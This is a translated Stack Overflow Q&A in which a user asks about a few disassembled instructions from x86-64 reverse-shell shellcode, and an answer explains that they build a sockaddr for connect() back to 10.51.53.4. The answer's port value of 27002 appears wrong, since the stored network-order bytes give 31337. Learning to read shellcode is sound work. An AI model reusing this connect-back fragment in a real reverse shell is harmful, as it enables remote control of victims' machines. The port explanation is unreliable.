【问题标题】:x86 64 Reverse shell shellcodex86 64 反向shellcode
【发布时间】:2017-07-04 22:49:01
【问题描述】:

我正在寻找来自this 链接的反向shellcode。我无法遵循 shellcode 中以下说明的原因:

4000a3:   4d 31 d2                xor    r10,r10
4000a6:   41 52                   push   r10
4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a
4000ba:   04 
4000bb:   48 89 e6                mov    rsi,rsp

我搜索了其他 SO 问题,发现 BYTE/WORD/DWORD PTR 将用于分配字节/字/双字。由于这个 x86 64,我假设这里的 WORD 表示 2 个字节,而 DWORD 表示 4 个字节(如果我错了,请纠正我)。 作者将零压入堆栈。然后他有3个mov指令。 假设 RSP 最初指向:

x00 x00 x00 x00 x00 x00 x00 x00

1) 下面是不是三个mov指令的效果(假设是小端)?

x04 x35 x33 x0a x7a x69 x00 x02

2) 如果是,那么作者通过它实现了什么,因为下一个 mov 指令不会覆盖 rsp 所指向的内容吗?

谢谢

【问题讨论】:

    标签: shellcode


    【解决方案1】:

    1) 是的

    2) 作者正在为套接字连接系统调用保存 sockaddr

           int connect(int sockfd, const struct sockaddr *addr,
                   socklen_t addrlen);
    

    在 x86-64 中,参数是寄存器 rdi、rsi 和 rdx。所以,他正在将指针 addr 指针移动到 rsi 寄存器。

     mov    BYTE PTR [rsp],0x2              ; Family Address (PF_INET)
     mov    WORD PTR [rsp+0x2],0x697a       ; port = 27002
     mov    DWORD PTR [rsp+0x4],0x435330a   ; addr = 10.51.53.4 (0a333504)
    

    【讨论】:

      猜你喜欢
      • 2019-02-24
      • 2015-01-05
      • 2021-10-05
      • 2015-03-10
      • 2012-10-04
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-10-20
      相关资源
      最近更新 更多